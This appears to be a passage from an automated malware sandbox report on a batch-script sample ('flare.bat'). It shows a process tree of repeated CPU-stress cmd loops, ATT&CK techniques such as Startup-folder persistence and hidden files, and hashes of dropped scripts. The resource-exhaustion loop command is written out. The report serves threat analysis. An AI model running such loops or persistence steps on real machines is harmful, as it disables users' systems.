  2⤵
  PID:1968
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:4756
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:1088
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3616
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:1548
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3416
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:4460
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3192
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:2328
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:4728
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:2748
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:4672
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:4564
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2588
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:3052
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:1892
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:2840
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:324
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:3248
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3428
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:5532
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:5744
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:6112
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:5200
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:4072
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:5472
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:4980
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:5204
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:5200
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:6028
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:6664
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:6896
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:6340
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:6476
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:5788
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:6884
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:6616
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:7188
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:7788
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:8048
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:7452
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:7180
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:7980
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:7088
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:8348
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:8476
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:9012
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  PID:8292
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:8308
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:6812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:916

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:2160

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:4152

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:4220

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:4032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:2544

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:3356

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:5176

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:4672

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:6232

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:6432

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:7508

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\flare.bat
1⤵
PID:7200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs

Filesize
142B

MD5
a918e39e90540829b11e66ea68102b54

SHA1
b42ac88ad6a6d4fe99460a99b286748003a5326e

SHA256
007f1e45ce7381c2bdc57c7f4bce9be2d471dc9c76ebf520e0f7338359787435

SHA512
08165746cae6ee71f4a0e8a268cc1b88e26b5e1ffa266905d1005ffe361d61de6b116974e2c3bbd25b8bbbe86a418968192bf28bf6013883f049a1e678c2eeb1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\error.bat

Filesize
237B

MD5
29871f22521d0ab5777e9dfc20fc9c55

SHA1
afe0417165c9011c338b416f4eaaddca0cf7fc52

SHA256
808a5b00ba85be2d7d6a2b23389b160ed0fa7635508c564af1bf8784a2edede6

SHA512
c90a432df0da718fdb8b2ae98c6675da113333d810ad91ca57150e24a5d104cca02f849d242a6c2a45dc48172be623a63f19a2c7aae421a2cf42bb08f302e888

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\error.bat

Filesize
222B

MD5
57fe33d80dcbca1a7197e0f9585a012c

SHA1
565083128a54d6d4f4fc48c39879811732612a04

SHA256
41da8677898bb6bdd195537b97128e6f5eb34203a83792871fb2a955daaf5c48

SHA512
2c5c67720f6a4b1fd8c5874a0e01883de40d4553b8f0606a482c2d4960e94afa5a634ef755e2861b11fa4a4fe54fa701e0ed8122434a9eca4ff0b06bb48b2b99

Download Submit
C:\Users\Admin\Desktop\LPT2\Fixes.txt

Filesize
36B

MD5
9ea9c312f34cfeda8394b84c0dfd1fc9

SHA1
d587d14e675fa07820e4a3c513285b42831c90bf

SHA256
4bfc6d2ad894c24dcedc920096679c80c1dd4340528ba9a071cff8b9bf8ab9e7

SHA512
0ed43563d7e3492773d30abdad9199b5cb9fd49ffb32c0c0a9cc1471545991131644b81c61f70f0f062ee9ab5314005b7677982c8074696aa832b226cd32ca8d

Download Submit
C:\Users\Admin\Desktop\flare_warning.txt

Filesize
85B

MD5
06f0a7e183c60d2d25359f8805ac79c8

SHA1
88dcb58b0342aaa5d26fbcc4f331980280d8788e

SHA256
c4ee6d94b5725af6c1ed91eb62fc34db9be62aca661976a5c24bdbb3db24e1d6

SHA512
ee60f735fcee65e0c76a9240b660bb850f285900d5229dcf102d244e14248b24f5f102523efee659f4de6ac339fa1f554e36a712bd3209a4f3ab1897a63314b3

Download Submit
C:\Windows\System32\flare.bat

Filesize
3KB

MD5
97422af7164bd8af68e3ff991ed685a5

SHA1
46f9d4c9eb4be48b0579d9b5ce01ef0fed7cf3e4

SHA256
3e45ddc08bb9c1604b399fd5e43546877bc0c290df087dd2697816b8eeadabaf

SHA512
72a36da2099eb75da04bd0df431a67d2447eb25179339c6772946d64bc8fe1d4fc9b6fee5c43a18724baf4026c8fc8bd6e280c05d6216944be77892b876ea15e

Download Submit
C:\Windows\System32\flare_helper.bat

Filesize
11B

MD5
9905e5a33c6edd8eb5f59780afbf74de

SHA1
64b2cd0186ff6fe05072ee88e2bb54476023772e

SHA256
c134b2f85415ba5cfce3e3fe4745688335745a9bb22152ac8f5c77f190d8aee3

SHA512
e10711d0fb09db27192e9af05ae45b83cf3882d98e904a7f1f969cf24c2f9626f70f35d76f57477fe9c64a58bc74100410740e9d506d4e72d3e2900d6277816e

Download Submit
C:\Windows\System32\flare_helper.bat

Filesize
18B

MD5
8b3a1957ded53805b739465423d33bc7

SHA1
02c9891db67a70a91f36de9721da4807dd246520

SHA256
d32fe27f6c04b4f847a888bd1beb9e59154070c669dcc42bc0ffe3ac5956c2f1

SHA512
6e3da11c4cbcf2ed8823de02d4cdec88ce3eb184e8506c84fe16e4034a77598ac3b506f10909997e4d0b67bd9e62819e5a3d6eaa2f2e35f3af60e08850ba5b11

Download Submit
C:\Windows\System32\flare_helper.bat

Filesize
197B

MD5
7db67928e3dff650c0c64df10a3d8f61

SHA1
c49b34fed78cea97c12301bb0c5af4e56f193c19

SHA256
81826cb61c55e2d58192d9aa825715bac5e8483afe008fd516f0807099ec576c

SHA512
779c9a9ad6e31ffe3d3dc026c7fc4aa9295b97228036d63a6b03d3ab9bde479c54a46212ee7f7bb898c293dbb30d2757850e5cb289e3570872b82cca611963f6

Download Submit
C:\Windows\System32\flare_helper.bat

Filesize
221B

MD5
a22746c3949f71565f54a3e82c7d7f9f

SHA1
70e899c1ad366cbdbf0fbbc423d8cba1ba85e84c

SHA256
c9aebb3a65dd1633b028ff086e409e5c0c8706c79f6282b8b65512124ba4e94d

SHA512
2ec3049ffdc6093535dcb991460ddf1f6d63af7e801499de299ea029b7842a207bc5cae7786c9e12a78e9abeea12a1c03ddacf4bb068bfd66e4836b8773a3a56

Download Submit
C:\Windows\System32\flare_helper.bat

Filesize
232B

MD5
94e763c6a5bd186423b1f1bcd20dc1c3

SHA1
edae8b6df34386de7d734e392586eaa2e7b16289

SHA256
f72d1c83c8f292b01d84d4b73a0624465f32f38300b8b8fcc0313b25d38dec5e

SHA512
1ea6fe28dc6be012201ae5ead4482cd64b142420279c3a9e8075e2057806e8df746ef03ef24b5730f44ff189174f6ff8860e24946f2c118cc84f4d5cc2ab9638

Download Submit

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads